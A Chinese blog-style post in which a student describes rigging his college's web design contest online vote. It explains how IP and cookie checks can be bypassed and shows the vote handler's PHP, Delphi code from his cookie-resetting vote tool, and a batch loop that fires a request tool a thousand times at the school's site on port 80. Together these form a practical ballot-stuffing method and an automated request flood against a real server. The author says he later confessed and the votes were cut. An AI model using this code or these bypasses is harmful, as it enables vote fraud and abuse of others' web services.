网页设计大赛刷票事件及技术分析

前一段时间我们学院搞了一个网页设计大赛,每个班必须参赛。后期进行了网络投票的方式,而该投票系统存在了具大的漏洞,从而被我利用,把我们班网站的票数刷到了最高,

可以毫不夸张地说,我想刷到多少就可以刷到多少,速度的话,如果只开一个线程,一分钟可以刷上千次吧,我也没有具体去看数目,反正非常快。

后来我向相关人员说了这个事情,说了这个事情是我干的。他们知道了后也把我们的票砍了一大截。

其实网络投票的限制无非就是IP、COOKIES、时间这几方面来限制。其实这些限制要适当地使用,不然,反而会让别人专了空子。

第一种情况是:投票系统自动记录下我们的IP地址,存入数据库,并且规定该IP地址多少时间内不准投票。如果我们马上再次投票,投票系统会将我们这次投票时使用的IP地址与其数据库中的IP地址进行比对,如果存在,则投票不成功。

第二种情况是:我们投的第一票成功后,投票系统会将投票成功的信息保存在本地的Cookies文件中,并且在Cookies中注明投票成功的时间,同时在程序中规定多少时间内不准再次投票。如果我们马上再次投票,程序会读取保存在Cookies信息中的投票成功时间,并与服务器中的时间比对,如果符合拒绝条件,则投票不成功。

总的来说,网络投票程序的防刷系统采用的原理就是IP验证和Cookies验证,当然还有采用诸如身份验证等其他验证方式的网络投票系统,不过目前网络上90%的网络投票系统都是采用前者的验证方式。而前者的验证安全性是很低的,通过一些工具就可以轻松突破这些验证,实现连续投票。

至于IP,ADSL用户本身就拥有变化着的IP,很好突破。
至于COOKIES,删掉或者手动修改就可以了,当然,写一个相应的程序会使效率高多了。

下面是判断是否合法的PHP代码:

if(mysql_query($str))
   {
    $into_ip="insert into wlm_ip set ntime=’".$htime."’,ip=’".$ip."’";
    mysql_query($into_ip);
    echo "<script language=javascript>alert(‘投票成功!’);</script>";
    echo "<script language=javascript> window.location.href=’http://www.******.edu.cn/tuanwei’;</script>";
   }
else
{
    echo "<script language=javascript>alert(‘投票失败!’);</script>";
    echo "<script language=javascript> window.location.href=’./renqi.php’;</script>";
}

我自己写了两个工具来帮我刷票。
第一个,速度较慢,适合普通用户使用。

第二个,较快(每分钟自动刷上千次),当然是我的最爱啊。

相关代码记录:

procedure TForm1.Timer1Timer(Sender: TObject);
var
SList: TStrings;
i: integer;
begin
   Doc := WebBrowser1.Document as IHTMLDocument2;
   if edit2.Text = '' then Exit;
   SList := TStringList.Create;
   Slist.CommaText := edit2.Text;
   for i := 0 to SList.Count - 1 do
   Doc.cookie := SList.Strings[i];
   SList.Free;
end;

procedure TForm1.WebBrowser1NewWindow2(Sender: TObject;
var ppDisp: IDispatch; var Cancel: WordBool);
begin
NewWindow :=TForm1.Create(self);
NewWindow.Show;
ppDisp :=NewWindow.Webbrowser1.DefaultDispatch;
end;

procedure TForm1.WebBrowser1DownloadComplete(Sender: TObject);
begin
   if not Webbrowser1.Busy then {浏览器已不在工作时读取浏览器中的Cookies}
    begin
    Doc := WebBrowser1.Document as IHTMLDocument2;
    if edit2.Enabled =True then edit2.Text := Doc.cookie;
end;
StatusBar1.Panels.Items[1].Text :='';
if times<>0 then
   times:=times-1
else
   button2.Click;
end;
FOR /L %%i IN (1,1,1000) DO Fuck www.******.edu.cn 80 < FuckIP.txt